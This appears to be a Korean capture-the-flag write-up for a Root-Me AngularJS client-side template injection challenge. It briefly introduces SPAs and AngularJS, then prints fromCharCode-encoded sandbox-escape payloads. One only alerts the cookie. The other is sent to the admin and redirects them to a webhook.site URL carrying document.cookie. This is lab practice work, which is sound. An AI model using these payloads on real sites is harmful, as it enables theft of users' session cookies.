Problem
How-To-Solve
우선 SPA(Single Page Application)을 먼저 알고 시작하면 좋다.
SPA는 하나의 웹페이지가 실행될 때 View 단에서 페이지의 주소가 바뀌지 않고 그 상태로 새로운 View를 가져와 사용할 수 있는 것을 말한다.
이러한 SPA를 사용하기 위해서 javascript framework를 사용하는데 이중 하나가 AngularJS이다.
그 이외에 MV*같은 프레임워크도 참조하면 좋은데 아래에 링크를 달아두겠다.
참고하면 좋다.
https://www.w3schools.com/angular/
설명은 간단하게 이정도면 충분하다고 생각한다.
AngularJS는 스크립트 삽입 방법이 기존 XSS와는 조금 다르다.
{} <---------중괄호를 겹쳐서 사용하는 편이고 escape할 때 browser console의 명령어와 비슷한 부분이 많다.
아래의 링크를 참고하면 도움이 될거다.
무튼 이제 flag를 찾아보자.
우선 기본적인 특수문자를 삽입해서 필터링이 어떻게 되는지 보자.
잘 보이진 않겠지만 위에서 '(싱클쿼터), <, >가 필터링 된 것을 확인할 수 있다.
소스코드를 확인해봐도 싱클쿼터가 삽입되지 않고 escape가 되지 않은 것을 확인할 수 있다.
이럴 경우 Angular Bypass를 통해 시도하는 것이 좋다.
가장 많이 사용하는 코드 중 cookie값을 탈취하는 방식으로 시도해보도록 하겠다.
{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 41))()}}
위에보이는 코드를 삽입해서 실행해주었다.
여기에서 이상한 것은 숫자로 삽입한 부분인데 코드가 js형태로 삽입되며 fromCharCode를 활용해 우회하였기 때문에 ASCII코드로 변환하여 삽입해주었기 때문이다.
위의 그림과 같이 encode해주어 시도하였다.
이처럼 위와같은 방식으로 script삽입을 시도할 수 있을 것이다.
그러면 전과 같은 script를 삽입해서 contact로 admin에게 공격을 시도해보도록 하겠다.
아스키코드로 변환하였다.
코드 작성을 완료하였다.
http://challenge01.root-me.org/web-client/ch35/index.php?name={{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 39, 104, 116, 116, 112, 115, 58, 47, 47, 119, 101, 98, 104, 111, 111, 107, 46, 115, 105, 116, 101, 47, 100, 57, 51, 52, 55, 49, 57, 54, 45, 52, 56, 102, 49, 45, 52, 98, 100, 56, 45, 98, 50, 97, 48, 45, 52, 52, 101, 49, 99, 51, 97, 102, 97, 100, 101, 49, 47, 63, 102, 108, 97, 103, 61, 39, 46, 99, 111, 110, 99, 97, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 41, 59))()}}
위의 코드가 정상적으로 admin에게 발송된 것을 확인할 수 있다.
이제 admin이 확인하기를 기다리면 된다.
끝
'Wargame > root me' 카테고리의 다른 글
[Web - Client] XSS DOM Based - Eval (1) | 2023.04.08 |
---|---|
[Web - Client] XSS DOM Based - Introduction (0) | 2023.04.06 |
[Web - Client] CSRF - 0 protection (0) | 2023.04.05 |
[Web-Client] CSP Bypass - Inline code (0) | 2023.04.04 |
[Web - Clinet] XSS - Stored 1 (0) | 2023.04.03 |